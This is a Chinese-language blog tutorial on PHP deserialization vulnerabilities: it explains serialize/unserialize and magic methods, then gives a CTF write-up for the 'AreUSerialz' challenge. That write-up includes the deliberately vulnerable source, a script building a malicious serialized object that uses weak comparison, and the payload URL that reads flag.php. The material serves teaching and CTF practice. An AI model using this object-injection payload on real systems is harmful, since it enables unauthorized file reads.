php反序列化漏洞

PHP反序列化

序列化

为什么要进行序列化

当对一个变量赋值后,在本次程序运行完成后,变量会从内存中清除掉。而序列化的目的时把变量保存在硬盘中,用到时可方便的通过反序列化把之前序列化的内容变回可用变量。即序列化用于在存储或传递PHP的值的过程中,同时不丢失其类型和结构。利于对象的保存传输
在这里插入图片描述

两个函数

序列化反序列化
对象转换为字符串特定格式的字符串转换为对象
函数:serialize()函数:unseriasize()

serialize():

当在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,保存对象的值方便之后的传递与使用。

eg:
在这里插入图片描述

unserialize():

与 serialize() 对应,unserialize()用于将serialize() 函数序列化后的对象或数组进行反序列化,并返回原始对象结构。

在这里插入图片描述

如果传递的字符串不可反序列化,则返回 FALSE,并产生一个E_NOTICE。

在这里插入图片描述

字符串结构解释

a:4:{s:4:“name”;s:4:“twds”;s:3:“age”;s:2:“22”;s:3:“sex”;s:3:“男”;s:5:“phone”;s:6:“123456”;}

  • a->array
  • s->strings
  • a:4->代表集合中有4个元素
  • s:4:‘name’->类型 为string:变量长度为4个字节:变量名为name。(之后同理)

PHP中的魔术方法

PHP中把以两个下划线__开头的方法称为魔术方法

常见php魔术方法
__construct()类的构造函数,当一个对象创建时被调用
__destruct()类的析构函数,当一个对象销毁时被调用
__wakeup()执行unserialize()时会先调用这个函数
__sleep()执行serialize()时会先调用这个函数
__toString()类被当成字符串时的被调用
__isset()在不可访问的属性上调用isset()或empty()触发
__unset()在不可访问的属性上使用unset()时触发
__get()用于从不可访问的属性读取数据
__set()用于将数据写入不可访问的属性
__call()在对象上下文中调用不可访问的方法时触发
__invoke()当脚本尝试将对象调用为函数时触发

PHP反序列化漏洞

产生反序列化的原因:

根本原因:是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被用户恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。

漏洞产生条件:

  • unserialize()函数的参数可控
  • php中有可以利用的类并且类中有魔术方法

CTF真题

2020-网鼎杯-青龙组-Web-AreUSerialz

题目源码如下:

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

writeup:

分析:

  1. 根据题目及源码中unserialize()判断此题考查反序列化

在这里插入图片描述

  1. flag存储在flag.php中

    在这里插入图片描述

  2. 题目中有两个魔术方法: construct()、destruct()

    在这里插入图片描述

在这里插入图片描述

  1. destruct()中会调用process,且op=1写入,op=2读取

在这里插入图片描述

在这里插入图片描述

  1. 涉及对象FileHandler,变量op及filename,content,进行构造输出.
<?php

class FileHandler {

    public $op=' 2';
    public $filename='flag.php';
    public $content='jaa';                 //变量content不涉及题目可随意填写
}
$flag = new FileHandler();
$flag_1 = serialize($flag);
echo $flag_1;
    
?>

涉及:反序列化魔术方法调用,弱类型绕过,ascii绕过

  1. 使用该类对flag进行读取,这里面能利用的只有__destruct函数(析构函数)。__destruct函数对this->op进行了===判断并内容在2字符串时会赋值为1.

    procesa函数中使用==对$this->op进行判断(为2的情况下才能读取内容),因此这里存在弱类型比较,可以使用数字2或``字符串' 2'绕过判断。

在这里插入图片描述

在这里插入图片描述

  1. is_valid函数还对序列化字符串进行了校验,因为成员被protected修饰,因此序列化字符串中会出现ascii为0的字符。经过测试,在PHP7.2+的环境中,使用publie修饰成员并序列化,反序列化后成员也会被public覆盖修饰。

实操:

上述步骤5构造输出:

在这里插入图片描述

得到序列化后的字符串

O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:3:"jaa";}

将该字符串传递给参数str并在url中以GET方式进行传参

https://IP/?str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:3:"jaa";}

之后查看源代码得到flag.

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值